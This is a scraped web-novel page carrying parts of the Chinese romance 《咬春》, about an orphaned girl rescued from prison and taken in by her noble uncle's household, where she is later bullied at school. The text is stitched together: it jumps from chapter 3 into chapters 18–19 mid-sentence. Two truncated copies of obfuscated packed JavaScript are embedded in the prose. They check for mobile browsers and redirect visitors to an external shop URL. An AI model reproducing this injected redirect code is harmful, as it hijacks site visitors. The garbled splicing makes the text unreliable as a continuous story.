《咬春》 1. 01【修】 《咬春》全本免费阅读 临川的冬天,每一阵风都像是凌迟在身的利刃。 冬日若是不搽点香膏就出门,不出一盏茶的时间,俏脸就能生生冻出许多干裂伤口。 可杨沛云没有香膏,甚至连一身体面的衣物都没有。 低矮的铁窗狭小,仅仅起到透气的作用,若是凑近了,还能看见远处三三两两路人行走的双腿。 杨沛云白着一张小脸,趴下身子紧紧挨着窄小的窗,试图将脸伸得远一些,去够刺骨寒凉的雨水。 她怕冷,整个人都被窗间的硬铁冻得瑟瑟,嘴唇蹭过时,尝到了满嘴铁锈味。 周遭环境脏乱的要命,虫鼠乱爬,还弥漫着大片大片陈年的血渍。 杨沛云这般胆小的,不敢多看一眼,因外头连绵的阴雨,勉强解了她几日来的干渴,此刻人蜷缩在角落,两眼无神。 “啪——” 尖锐顿涩的声音传来,她抬眼望去,见紧闭的大门被打开,一身官服的衙差满脸不耐烦地拉着门,一手推着几个瘦小的身影,在同旁人说话。 “还不是那件走私案,大人说了斩草除根,相关人都不许放过。” “谁知道呢,抓了这么多人,反正最后都要杀了……” 有三个瘦小身影被扔了进来,砸到地面,皆是痛得说不上话来。 只等着官差走了,门又关上,杨沛云才敢动作,她爬起来,紧张地将一人扶起:“没事儿吧巧安?” 又顿了顿,望向另两人,咬了咬唇还是凑过去:“姐姐……你们还好吗?” 还没等将人拉起,小腹处被人当中踹了一脚,力道虽不大,但杨沛云被关了几日,粒米未进,本就没什么力气,这下趴在地上,更是爬都爬不起来,兀自狼狈喘气。 “下贱坯子……” 一个稍长几岁的姑娘,满身是伤,血淋淋的,一看便知受了刑罚。 杨沐月浑身都痛,正一身怨火无处发泄,口不择言谩骂道:“没长眼睛吗?按着本姑娘伤处了!” 身旁还有个稚嫩些的,也是满脸戾气,一看便知是亲姐妹两的。 二人面上如出一辙的怒火和恐惧,默契上前钳住杨沛云胳膊,想像之前在府上那般打骂。 却被人拦住。 巧安自小干多了活,比这两个身娇肉贵的小姐耐打,此刻还能站起身来阻拦。 杨沐月气得五官扭曲:“你个下人也敢忤逆主子?!” “下人?”巧安皱眉冷笑,“小姐们如今还不明白吗,这屋子里都是等着被杀头的,哪还有什么主子下人。” 一语惊醒梦中人,此刻屋中所有人都被吓住。 杨沐雪年纪小些,闻言扯着嗓子哭喊:“姐!我们会没事的吧?爹爹什么时候来接我们回家?我好怕啊姐!” 杨沐月到底年长,此刻眼底灰败,缄默不言。 这姐妹两向来恶毒,自小便变着法子欺负杨沛云,先前在杨家无人为她撑腰,艰难度日也就罢了。 可如今都死到临头了,巧安再忍不下这口气。 她回到小主子身边,见人傻愣愣的,以为是被自己方才那句话吓到,叹了口气,用衣袖擦擦她的脸。 但见杨沛云怔怔抬头:“巧安,你疼不疼?” 巧安被这句问话差点弄得掉眼泪。 她家姑娘多乖巧啊,又懂事又听话,若是生在和睦的家中,一定能平和幸福一生。 哪像待在杨家,生母早亡,继母不仁,连带着姐姐弟弟都跟着刻薄残忍。 杨家的家主从来不管后宅之事,对杨沛云这个女儿也习惯性地忽视,使得她成长的这几年来,过着连最下等的女婢都不如的日子,任人打骂。 经过方才那番拷问,大家都明白,老爷与走私案牵连是板上钉钉的事了。 杨家一共不少人,这几年府中阔绰,原以为是家中生意好了,却没想到是这般祸事。 早晨除了杨沛云外,其他三人都被捉去问话,挨了一身的伤,估摸着也快轮到她了。 然而杨沛云双眼望着破败的屋顶出神。 糊里糊涂过了十来年,还没活明白呢,就要死了。 死了也好,她安静地想,没爹没娘的日子,她早就过够了。 屋外又传来脚步声,上午经历过一次的姐妹两此刻面色发白地缩在一起,又是抽泣又是哆嗦,听得杨沛云有些耳鸣。 轮到她了吗? 门口传来咯啦啦开锁的声音,她神情恍惚地望着那扇门,忽然什么都感知不到了,视野之中只剩下紧闭的大门。 门外开锁声显得尤为漫长,每响一声,杨沛云便心悸一次。 她望着那扇像永远也不会被打开的牢门,只觉越来越喘不上气,心中恐惧无限。 巧安好像在喊她。 “姑娘?姑娘?” 声音却像沉入了水中,变得越来越模糊,混沌,直到最后一声,语破天惊。 “姑娘!” 杨沛云倏地睁开眼,出了满身的汗。 巧安正坐在床边的小榻上,帕子按着她的额角,一脸担忧:“姑娘可是又梦到临川了?” 杨沛云没缓过神一般,愣愣的,身下的寝被柔软厚实,屋内的炭火不会呛出一层层的黑灰,巧安开了一点窗,她顺着窗缝看出去,望见了满园的嫩叶,和隐隐亮光的天际。 是了,她早已不在牢中,不在临川,现在也不是寒冬了。 正月初十,雨水节气,早已入了春,只等盎然春意到来了。 杨沛云闭眼,重又睁开,明亮双瞳已然清醒,她起身下床:“侯爷可回了?” * 一月之前,杨家出事,轰然入狱,杨沛云本都已经认命,等着潦草一死。 没想到峰回路转,来了位位高权重的大人,自称是她母亲大哥,也就是杨沛云的亲舅舅,将人从狱中救出。 那日浑浑噩噩的,一路跟着人水路转陆路,兜兜转转走了大半月,最后竟是来了汴京城。 临川是个小地方,不算多富贵,她杨沛云记忆里去过最远最豪华的地方,也不过是临川的集市。 峯朝经济繁荣,实力鼎盛,身为峯朝首都的汴京,更是风光无数,富贵迷人眼。 杨沛云从对这个所谓舅舅的身份的存疑,在那刻又变成了惶恐惊惧。 陆玮,这个名字她在巧安口中听过无数遍,本在她记忆里是个几乎要淡忘的母亲的名字,竟在眨眼间变成了宣平侯之女,渭安公主之孙,尊贵无度的陆家嫡女。 杨沛云不到两岁时,母亲便已亡故,她对其没有任何印象记忆,对这个所谓的外祖陆家更是茫然。 回到陆家已有三日,她虽暂为身份待查的表姑娘入的门,但日常安排却十分妥善细心,就连夜间的熏香都放了好几种。 这几日,除了在路上与陆玠的短暂交谈,后续入府后,她再也没有见过了。 杨沛云一直想找他仔细谈谈身世的问题,但陆侯爷几日都没归家,让她更加不安,连觉也睡不安稳。 只稍一闭眼,就好似回到了那个虫鼠窜跑,腥臭脏污的牢狱之中,就连指间的冻疮和身上的伤口都泛起痛意。 巧安皱着眉头:“我问了前院洒扫的姐姐们,她们说侯爷一向不着家,十天半月回一次都是可能的。” 一听这话,杨沛云心里更是惶惶。 这宣平侯陆家是个什么地方,随处可见的洒扫女使都比她那爱慕虚荣的姐姐穿得好,这样富贵显赫的家庭,这样地位尊崇的家人,自己真的能留在这里吗。 她带着巧安跟随陆玠,本只是想拼一条活路,本以为是个骗子,但到了汴京,她二人就再也没了这个想法,宽大的门楣府额不会骗人,更不至于来骗一无所有的杨沛云。 于是她更加无措,在对自己能活下来,能暂留在侯府充满感恩,另一方面又对突如其来的亲人隐隐开怀。 原来她并不是孤身一人,原来母亲还有兄长 2. 02【修】 《咬春》全本免费阅读 待人走出后不久,林若浮身边的管事金嬷嬷替她夹了筷水晶卷:“夫人怎的不去?” 林若浮终于抬头来:“怎么,你心疼她?” “表姑娘虽有些小家子气,却乖巧懂事,昨日我见那书房桌案上,她替夫人抄的诗文整整齐齐,娟秀漂亮,不像那些个敷衍讨好的主。” 金嬷嬷瞧着夫人的神色,接着道:“此番二房不在家,旁系那些人若是刻意刁难,夫人在也是能说上两句的。” 林若浮听了,许久没有说话,须臾轻笑一声:“若她真是玮玮的孩子,便是全家反对,侯爷也会保的。” * 宣平侯府大的吓人,那日进府,走的是偏门小道,轿子直接送到了大夫人的拙春院中。 今日只是从拙春院走到前厅,一路便走过不知多少花园水池,早春的气候,汴京比临川要温暖潮湿些,院中廊外的花草也都盛开了些许,一路就像是走在硕大的园林景观中,深深浅浅,景色撩人。 好一会儿,才终于到了地方,领路的女侍侧身行礼:“表姑娘请。” 杨沛云深呼一口气,勉强镇定下来,跨过高大门槛,进房中去了。 屋中四处门窗敞开,光线明亮,前厅似是平时见客的地方,极为宽敞,迎面的红木高椅上端坐着一位中年男子,衣着华美,身形宽大,面上虽有些沟壑,却不难看出年轻时候的俊美模样。 是当今陆家家主宣平侯,也正是将她从临川一路带回汴京的舅舅,陆玠。 两边的座位上还并排坐着几位中老年的长辈,见有人进来,视线全都齐刷刷扫了过来,气势瘆人,透着一股子强劲的威压。 杨沛云从未见过这般阵仗,面色发白,跪地行礼:“侯爷。” 她谨记规矩,尚未认亲,不敢随意称呼。 陆玠坐于高位,俯视着这个自己亲自接回来的孩子,见她身形微颤,皱着眉道:“起来回话。” 杨沛云起了,却仍是低垂眉眼,不敢多看。 见她这般胆小模样,陆玠心中不知在想些什么,见几位宗族长老开始面露不快,他掏出怀中一件物什,问道:“你可认识此物?” 杨沛云赶忙抬头望去,见那东西是一块温润华美的玉佩,花纹形状只有一半,像是原先是一对的巧物,看着便价值不菲。 她愣了片刻:“是我娘亲遗物,她早亡后唯一留给我的物件,不过已经丢了许久……” 什么丢了,根本就是被抢了。 杨家出事前一段时间,她那继母生得姐妹两又来欺负她,这块玉佩被搜刮出来,当即便被抢了,杨沛云伤心了好几日,没想到兜兜转转,竟到了陆玠手中。 陆玠见她呆愣模样,又从怀中掏出了自己的那块,花样正相反。 这对玉佩本就是一对,是曾经渭安公主赏赐给他们的,兄妹两一人一块,陆玮当初离家后,只带了点银子和这块玉佩。 他将花样画给了各地的商行当铺,没想到十多年后,他才有这玉佩的消息。 有了杨沛云这番话,陆玠心中已是确认。 自己妹妹亡故,只留下了这么个孩子,他该好好护着的。 一旁支系的一位老爷却面露不屑:“但凡精明些的,听闻侯爷的问话,也该知道如何回答,只凭口说,谁都能是陆家的血脉了。” 这话引来几声赞同之声。 陆玠眉头微皱,有些不喜。 底下的杨沛云听闻堂中对话,不安咬唇。 等到声音平静下来些,她才道:“我母亲陆玮,面上有一小痣。” 这话一出,满座都安静了,众人面面相觑,似乎没人知道。 陆玠轻笑道:“你说吧,族中有玮玮画像,这是赖不掉的。” 杨沛云沉静道:“耳侧颈下,有一红痣。” 这下,陆玠更是确认了,他面上不显,只是又喝了口茶,吩咐侍从:“还不去取画像来?” 等待画像的时间,杨沛云站在堂中,望着自己的鞋尖,只觉通身都是麻的。 她承受着来自四面八方的打量目光,后背冷汗没有停过,心跳擂鼓,几乎一张口就能跳出来,紧张地捏紧手指,冻疮伤口又开始弥漫痛痒。 “画像来了!” 一瞬,杨沛云耳鸣一般,脑中是大片大片的空白。 陆玠展开望了一眼,神情有些郁色,随即又展开在众人面前。 杨沛云还是头一次,见到自己母亲如此清晰的画像。 画上的美人尚且稚嫩,眉眼精致烂漫,笑意盈盈的,好似生活都没有多少烦忧。 栩栩如生,杨沛云望着她,只觉眼前朦胧,心中涌上无比的难过。 她们到底是亲母女两,容貌虽不大相似,但杨沛云遗传了她修长白皙的脖颈,漂亮的曲线像高贵的鸿鹄。 耳侧下方,还真点了一颗不容察觉的小痣。 这下,大部分人都没有异议,尚且还有一人嘴硬道:“曾经见过的人,也能说出这个特点吧,又不是亲孩子才能记得……” 那人话刚落,陆玠便道:“那伯父您身为玮玮的亲叔伯,自小看着她长大,方才怎么不见你说小痣长在哪儿呢?” “若不是亲孩子,怎么能将母亲的模样记得那般深呢?” 杨沛云抿紧了唇瓣,她其实根本不记得母亲的模样,只这个特征,是小时候巧安哄她时说的。 巧安比她年长几岁,对陆玮还有印象。 幼时被继母欺负,杨沛云在想念母亲伤神难过时,巧安便将自己记得的统统告诉她。 包括陆玮操劳过多病逝,死后连尸骨都被上位的继母潦草对待,早不知扔去了哪里,年幼连祭拜都没有地方,这些心酸又无奈的往事。 眼见众人没有异议,陆玠当机立断:“既然如此,沛云就是玮玮的亲女儿,陆家的表姑娘,没有人反对了吧?” “日后就以表姑娘身份,常居侯府。” 一锤定音的决断,让杨沛云心中那柄摇摇晃晃的剑终于爽快落下,一剑劈在了她身后,斩断了泥泞的过往与不安,此后,至少是眼下,都有了片刻的安宁。 众人离开后,杨沛云被陆玠单独留下。 她还是有些发抖,蹭到陆玠身边,终于颤抖着喊出那声:“舅舅……” 杨沛云有些激动地过了头,眼泪盈盈,不是因为可以留在侯府,而是因为这声亲昵的称谓。 她也有家人了。 陆玠凝视她片刻,温厚大掌抚在她发顶:“今日做得不错。” 得了夸奖,她终于露出浅浅一个笑来,仍是怯怯的。 陆玠将画像仔细收起:“日后你就跟着舅母好好生活。” 杨沛云笑容顿了顿:“舅舅呢?” 陆玠望着掌心终于合二为一的玉佩,他神色郁郁:“我日后繁忙,会不常在府中,平日里有什么需要的,同你舅母说便是。” 这几日从府中人的反应也能看出,陆玠不常在家。 离开之前,杨沛云咬唇:“舅舅,沛云有一个请求。” * 与陆玠分别时,他忘记找女侍给杨沛云带路,她想着来时的路,磕磕绊绊地走回去。 得亏路线并不复杂,再绕过几个观赏的蔷薇园,便能到拙春院了。 杨沛云心里装着事,走路时一时没注意,在拐弯处撞上某个身影。 “呀——!哪个不长眼的!” 尖锐的叫嚷声让杨沛云惊慌抬头,只见面前一高一矮,稍矮些的那个身形纤瘦衣裙精致,眉眼妍丽,一旁站得的似是她侍女,正捧着装满了池水锦鲤的水晶盆,一脸怒容望着她。 像是要放生鱼儿的模样,只是此刻大部分的池水都因方才的冲撞洒了出来,淋湿了姑娘的裙边一角。 “你是何人,胆敢在这横冲直撞的!!” 她身子瘦小,被撞了个踉跄,闻言也不敢辩驳,只是忐忑赔罪 3. 03【修】 《咬春》全本免费阅读 ! 杨沛云猛地又垂下头去,不愿让人瞧见自己掉眼泪的可怜模样,她动作极快地用手帕擦过下巴,又揉了揉眼睛。 力道大了些,小脸被揉捏得发红。 这么会功夫,那人已经走到几人面前了。 杨沛云知自己此刻狼狈,没有抬头,只听林琼芳娇滴滴的声音:“表哥你什么时候回来的!” 那道声音没回,片刻的安静,杨沛云甚至能感受到视线扫过自己红肿的双眼,激起的一阵凉意。 只停留了一瞬,又漫不经心地移开。 杨沛云觉察到,闭上了眼,更觉难堪。 那人终于又开口,反问:“你在这做什么呢?” 语气带了些发沉的严肃,林琼芳不动声色地挪了两步,正巧挡住杨沛云的小身板。 她冲着男子撒娇道:“哎呀,还不是姑姑说蔷薇园景色好,我来看一看嘛。” 那人并不搭腔,声音有些淡淡的不喜:“只是赏园?那方才围在一起是在干什么?” 林琼芳有些埋怨:“你才刚回来就要教训我吗?我什么也没干!” 说罢转过来,将火气冲着杨沛云撒了出来:“愣在这做什么,还不快走!” 听到这话,杨沛云赶忙潦草行礼,垂头匆匆而去。 直到走了有一段距离了,她才敢抬起头,只是眼泪再也忍受不住般,一颗颗饱满地从脸颊滑落,又在下巴处点点坠落。 一个人站在原地,兀自无声哭了一小会儿,才勉强止住,她转身朦胧着双眼,望向远处已快看不清的人影。 林琼芳亲昵地拉着男子的胳膊,那人极高,背影看着也挺阔,华贵的腰封离老远都能看见坠着不少宝石,勒出劲瘦腰线。 微风拂过时,带起他腰后的发丝,更显身段挺直。 父母的恩宠,家人的亲昵。 如若她母亲还活着,在临川,是不是也能拥有渴望的这一切呢? 杨沛云望着二人远去的背影,只觉得心头漫上永无尽头的酸涩。 * 平安回到拙春院,杨沛云拍了拍自己的脸,试图让自己看上去不那么狼狈,这才进了主屋,朝夫人问候,并主动说了前厅发生的事。 林若浮抄着诗文,心不在焉地应了一声:“回头等我找个合适的院子安顿你住下。” 杨沛云低头垂眼:“跟舅母住在一起,沛云已经很知足了。” 听到这一声舅母,林若浮轻嗯了一声,半晌才又开口:“回来时可遇到了什么人?” 想到方才路上的插曲,又想到那句侯夫人最宠爱的外甥女,杨沛云缄默片刻,只回答道:“遥遥望见了一位公子。” 林若浮就猜到会撞见,“那是我儿子,也是这陆家的长子,名唤怀泉,明日你来请安,就能看见了。” “往后你长留侯府,与你表哥免不了要见面,明日你早些来认认人。” 杨沛云心中将舅母这几句话仔细咀嚼过一遍,谨慎回复:“是。” * 晚上临睡前,杨沛云依旧在回想舅母说的话。 巧安坐在床边,用浸了凉水的帕子给她敷眼睛。 往年在杨府,姑娘每每受了欺负偷偷哭后,巧安都会这样帮她冷敷。 这样第二日的眼睛才不会有明显的红肿。 本想着来了汴京,往后日子也会好了,没想到还是一样的艰难。 也是,巧安心里想,左右都是寄人篱下,看人脸色,哪有什么好日子可言。 她见姑娘躺在床上,乌发散开,更显得小脸纯净乖巧,神情专注不知在想什么。 以为还在为下午的事伤心,巧安低声安慰:“林家的表姑娘不常来侯府,姑娘与她说不定见不了几次,不必烦忧。” 杨沛云回过神,没听见巧安说话般小声喃喃:“巧安你说,舅母今日这话,究竟是不是在敲打我,让我与表哥保持距离?” 巧安:…… 感情是在想这档子事啊。 巧安顿了顿,思忖道:“陆家这位长公子有些名声呢,今日回京,侯府提前几日就在安排准备了。” “听闻年幼启蒙,这十几年来一路顺风顺水,去年科举中榜,极受官家青睐,被派去坪山处理事务,如今回京,只怕要扶摇而上了。” 陆家不喜大操大办,今日陆怀泉回府,只在拙春院陪着母亲用了午膳便又进宫面圣去了。 杨沛云听了,觉得哪里奇怪,想着舅舅公务真的有这么忙,连亲儿子回府都不一起庆祝的吗。 至于巧安说的什么中举,外派这些她从未接触过的事,她听得稀里糊涂,只觉得这位表哥好像比自己想象的还要厉害。 今日遥遥一见,她只觉身影挺阔坚实,气度卓尔不凡。 这样尊贵的身份,还惊才绝艳,杨沛云想,自己一定要给他留下一个好印象,日后行差踏错一步,后果都不是她们能承受的起的。 想到这,杨沛云又纳闷:“你怎么知道这些?” 巧安自小跟着杨沛云,性子没她软,初来乍到,她这几日借着帮忙的由头,同府中年纪小些的女使打好了关系,将侯府打听得大差不差。 巧安没办法带姑娘过上安稳日子,但至少可以替她左右逢源,提前做好准备。 杨沛云没想到她会这样体贴,一时间有些泄气。 她为了自己尚且这般努力,而自己又有什么理由垂头丧气的呢。 就算是为了巧安,她也该在侯府好好生活下去。 巧安吹了蜡烛,四下漆黑静谧,杨沛云却没睡,左右翻滚,不住地在心里默念着明日一早的问安词。 【这位便是我表哥吗?】 不好不好,态度太过轻浮。 【表兄,早安。】 嘶…感觉又太过套近乎。 【陆长公子安好。】 哎呀,这又让人觉得过于做作。 杨沛云翻来覆去,反复琢磨,直到后半夜迷迷糊糊睡了过去,还在梦中纠结该如何称呼。 * 卯时未到,杨沛云已经起了。 巧安拿了件水红色的新裙子来,杨沛云抿了抿唇:“去拿那件草绿的吧。” 那件衣料普通,样子也是几年前流行的,穿这么一件,总不能再惹林琼芳生气了吧? 又想到昨下午的刁难,杨沛云后怕道:“里头穿一身中衣吧。” 她最是怕热,之前在临川夏天尚且只穿一身薄裙,汴京闷热,这时候反倒要穿中衣了。 巧安心里门清,但看破不说破,只能眼睁睁看着杨沛云小心穿上,心下叹气。 临出门,杨沛云又仔仔细细检查了一番,这才出门。 一想到马上就要见到陆府地位第二高的人,杨沛云心脏砰砰地跳。 一路惊畏交杂,加上今日穿得多,只走了几步路就额角出汗,两颊微红。 好热…… 天色渐渐亮了,主院大门敞开。 杨沛云打起精神,凑上前去,正巧见金嬷嬷出门来。 她笑了笑:“嬷嬷今日这般早。” 金嬷嬷见了她,也是笑意盈盈的:“今儿大公子来陪夫人用早膳,准备得早了些,表姑娘也一起吧,进去等着便是。” 杨沛云乖巧应了,目送嬷嬷离开后才入门。 进了主厅,林若浮已经坐在桌边了,见了沛云,便招手道:“来坐吧。” 之前在临川杨家的规矩,每日进门的第一件事便是奉茶,这个习惯已经成了杨沛云的肌肉记忆。 故而她入门首先便是从女侍姐姐手里接过茶水,俯身敬给林若浮。 “舅母,晨安。” 林若浮叹口气,心里也知道改掉习惯不是一时半会的事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12551619|131504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吱、 林琼芳从隔壁房过来,淡淡扫过她手中课业“:“到手了?” 上前抢过,看了两页,面无表情撕了个细碎。 “哎哎,”刘渝笑骂道,“这般心狠,让我一会怎么跟人解释。” 林琼芳拍拍手,这几日的恶气终于出了些,懒洋洋道:“随你。” 等到杨沛云拎着水壶回来时,早已人去楼空,一个人也没有了。 “咦?” 她有些茫然,愣在原地许久,见桌面都已收拾干净,自己的课业也没了踪影,她隐隐觉得有些不对劲,拉住一旁路过的小厮:“请问,这个厢房的客人呢?” 小厮望了一眼:“已经走了啊。” 走了?带着自己的课业直接去书院了? 杨沛云有些懵,没明白这是怎么个情况,下意识便也要走,却被小厮拽住。 “哎哎姑娘,这个厢房的账还没结呢!” 杨沛云更茫然了:“我不是来吃饭的,是刘姑娘有事我来找她的,她没结账便走了吗?” “是啊,那位姑娘说你们是一起的,特地吩咐了让您付钱。” 纯良的杨沛云直到现在甚至都傻乎乎地以为,刘渝是出了什么了不得的急事,于是她数了数这几日舅母给她的零用钱,迟疑着将钱付清了。 天色已大亮,华阳书院内学生已经来的差不多了,杨沛云来到课舍,见刘渝懒散着坐在位置上同人打闹,径直走过去:“刘渝,那个,我的文章你看好了吗?有没有帮我交给先生?” 刘渝皱眉,一脸看神经病一样的眼神看她:“我怎么会有你的文章,我刚刚才到呢,你没睡醒吗?” 杨沛云:? 她面上一瞬有些空白,指着外面着急道:“方才在对面那间食馆,我不是把文章给你看的吗?后来你说要喝水,我去给你加,回来你就不见了,饭钱也是我垫付的……” 刘渝不耐烦地打断她:“你发什么病?我下了马车就来书院了,没去过什么食馆,还替我付钱,我刘渝吃饭需要你给钱?” 杨沛云安静地听完,愣了许久,睁大眼睛:“你不认账?你,” 她这才后知后觉地反应过来,惶恐道:“你不会是在欺负人吧?!” 话音落下,四周一阵哄堂大笑。 刘渝更是笑得腰都直不起来:“欺负人?你是小孩子吗?说的这是什么啊哈哈哈哈、” 四周的笑声愈来愈大,杨沛云脸上滚烫,又惊又急,原本慢吞吞的语速都开始加快:“你,你别跟我开玩笑了,若是你没钱,饭钱我就,就不要了,你把我的文章给我……” “你是不是听不懂人话啊?!” 刘渝猛地喊道:“什么叫我没钱?没做过的事就是没做过,什么饭钱什么文章,我不知道!” “还有没有事,没事快走,别在我跟前碍眼。” 杨沛云被她推了下,脚步踉跄地退了两步,一瞬间双眼雾蒙蒙的,急得眼泪都快掉下来。 “都在吵什么!” 就在此时,陈创进门来,一瞬间鸦雀无声,所有人都飞速回到自己的位置,将仍愣在原地不知所措的杨沛云衬得格外显眼。 陈创皱眉道:“杨沛云,你的文章呢?只有你的没有交了。” 她瞬间脑子都麻了,下意识望向刘渝的方向,见她笑吟吟地望着自己,眸底恶意翻滚剧烈。 杨沛云这才恍然明白过来。 原来根本不是要同自己交朋友,只是打一开始就看不惯她,要欺凌她啊。 19. 19 她的课业呢? 面对陈创的疑问,杨沛云有些无措嗫嚅:“我,我的文章……” 她声音因害怕颤抖的不成样子,让人根本听不清。 陈创见她这反应,猜到了什么:“是不是没带?” “我带了,可是…”她下意识地辩解,可又不知该怎么解释,结巴了半天也没说出什么,“可是,” “那就是没写了?” 陈创眉眼猛地一戾:“昨个才夸得你,今日便如此妄为了?” 他言语犀利刻薄:“侯夫人还特地向我打招呼说你胆小,我倒是没看出你有什么胆小的!” 刚一说完,底下学生又是一阵大笑。 杨沛云格格不入地站在课舍中央,委屈地揪紧了裙边,漫天的羞辱,难堪和嘲笑似海一般朝她压了过来,直教她喘不上气,陷入窒息。 嘈杂的笑声和议论逐渐扭曲壮大,撞入她脑中成为尖锐的耳鸣,像是化作最为锋利的刀刃,将她的脑海及柔软的内心切割得血色淋漓,四分五裂。 眼泪啪嗒嗒落下,砸在地面,她咬着嘴唇,极力克制自己的眼泪,眼眶酸涩到近乎痉挛,还是没能阻止泪水的下坠。 “行了行了,你还委屈上了,”陈创不喜道,“今日先这么算了,散学留下把课业补齐再走,现在快坐下准备听学吧。” 她颤着身子抬起手臂,借用擦掉眼泪的动作捂住了脸,跌跌撞撞地回了自己的座位。 杨沛云已经不知道这一上午的课是怎么度过的了,浑浑噩噩挨到散学,独自一人将昨夜的文章默写出来,交给陈创后,通红着眼睛为自己小声地辩解:“先生,我,我其实写了的,但是,但是……” 她想起刘渝那双嘲讽的双眼,又想起侯府性子清冷,最嫌麻烦事的舅母,吞吞吐吐道:“我弄丢了……” 陈创正忙,没听清楚“啊?”了一声,见人杵着不动催促道:“补齐了就快回去吃饭吧,下次别再这样了!” 杨沛云唇瓣都快被自己咬白了,终究还是没有再开口的勇气,氤氲着眼泪告退了。 在马车上,她用冷掉的茶水一遍遍擦拭着眼睛,生怕回去后被舅母发现不对劲。 路上,她独自坐在车厢内,忍不住一遍又一遍地问自己。 为什么? 为什么刘渝要骗她呢? 为什么要欺负她?打从第一次见面,她就对自己恶意深重。 杨沛云十分委屈地想,为什么大家都这么讨厌她,她真的有这么差劲,这么不值得大家喜欢吗? 好不容易以为自己可以交到朋友了,没想到却是这么个下场。 她忍了许久,又仰头去看车厢顶,瞪了好一会才把眼泪逼退。 不能哭不能哭,她抿唇对自己说道,马上就到侯府了,这会子再哭,舅母一定会察觉不对劲的。 若是被她同表兄知道了这事,虽不会说什么,但一定会觉得自己多事,尽给侯府惹麻烦的! 直到那阵涩意消失,杨沛云才敢垂下僵硬的脖颈。 如果有什么对不起刘渝的地方,明天跟她道个歉吧? 杨沛云有些委屈地想,道了歉总不能再欺负她了吧? 第二日。 望着被抢走的文章,杨沛云被按倒,有些震惊地失神。 两个有些膀大腰粗的姑娘,估计是刘渝的同伴,一左一右地钳住她的胳膊将人死死地按在石桌上,杨沛云脸颊贴着桌面,冷得她颤抖。 她眼睁睁望着刘渝悠闲地上前,粗鲁翻阅着她的书箱,找到她的文章,在手中翻了翻。 杨沛云瞠目结舌:“你,刘渝,你到底……” 刘渝将文章卷成卷,侮辱性地在她脸侧拍了拍:“记住什么该说,什么不该说,知道吗?小蛮子。” 说罢,便在杨沛云惊慌的视线中,再一次将纸张撕了个粉碎,随手扬到了手边的池塘中。 她的心血,表兄的心血,化作纷纷扬扬的碎片,被风吹开,四散而落,落入湖水之中,没一会儿便沉了底,犹如她破碎的一颗心,再也望不分明。 刘渝带人离开后,杨沛云仍傻愣愣地留在原地,她安静了许久,才猛地冲下池塘,妄图去捞回属于自己的,属于她同陆怀泉之间夜晚比肩共坐,一同学习的证据。 池塘水并不深,堪堪只到她小腿,但她来来回回摸了许久,也找不到一片残页。 水中纸张就像夏日的飞雪,倏忽落下,便融化消失,再也遍寻不得。 找不回来了。 脑海中浮现出这个念头时,杨沛云才慢吞吞停下了手里的动作,她站在冰冷的湖水之中,身前泛起点点滴滴的涟漪。 * 陈创等到杨沛云时,激起的怒火已经平歇了,他冷淡地望着一身狼狈的小姑娘:“今日旷课又是什么借口?” 杨沛云原地踟蹰半天,仍是不知如何回答。 “今日的文章,是不是也丢了?” 陈创这几年见过太多仗着家中权势恃宠而骄的学子,他看着一身水的杨沛云,自然而然地认为是她旷课去玩闹,课业自然也是没有的。 他头疼地捏了捏额角,厉声道:“去书阁将文章补齐,写完再走!” 杨沛云双眼无神,默默地转身去了书阁重新补写。 第三日,第四日,第五日。 统统都是一样。 杨沛云望着再一次化作雪花的纸张,拼命挣扎,脸颊撞在石桌上,磕出一片的青紫。 刘渝望着文章沉了底,才没好气地埋怨道:“不是我说你,你不写或者直接跟山长退学便是了,折腾我干什么呢?” 说完一边扭着肩膀一边离开。 反反复复地折磨,反反复复地欺凌。 杨沛云面如表情地在陈创的盛怒之下补完了文章,又饥肠辘辘地赶回了侯府。 回来用膳时,舅母皱眉问她:“这几日不是听隐之说在教你吗?怎么又被先生留下了?” 杨沛云一愣,小声回答:“是沛云愚钝,明日会尽早赶回来陪舅母用膳的。” “我不是在说这个,”林若浮正准备说话,闻到了什么般怔愣了一会,“你涂脂粉了?不是一贯不用那些?” 脂粉是回来路上被杨沛云用来紧急盖住脸上的淤痕用的,颧骨上一片青紫,她用了许多才勉强盖住。 闻言杨沛云慌乱地侧过脸,遮掩道:“嗯…学院交到的朋友说这个味道好,我便试了试。” 林若浮放缓了神色:“是吗,那要同朋友好好相处,平日没事也可约着出去玩一玩。” 杨沛云听着舅母和善的嘱托,双眼一酸,用力咽下所有哽咽:“嗯。” 傍晚,本该是杨沛云最幸福的时刻,但她如今明白,表兄再辛苦的教学到了明日天亮也只会变成学院池水中的一抔土,一想到这,她便情绪低沉,更是抗拒了起来。 陆怀泉不是一次发现她走神了,手指叩击桌面都快叩疼了,他难免有些气恼:“今日是怎么了?这么魂不守舍的。” 杨沛云没有抬眼望他,只是垂着眼眸小声道:“兄长,沛云有些累了,不然这几日先停一停吧。” 停一停? 陆怀泉气得想笑,他上前扼住小姑娘的下巴,将人脸抬起来:“为什么累?不是说同我一起学习最开心了吗?这般容易疲倦往后你……” 他的声音猛地顿住了。 杨沛云准备好了承受他的斥责和怒火,她虽害怕,却也宁愿陆怀泉今夜冲她发一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12571578|131504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火,也不要他再浪费自己的时间陪自己做这些无用功了。 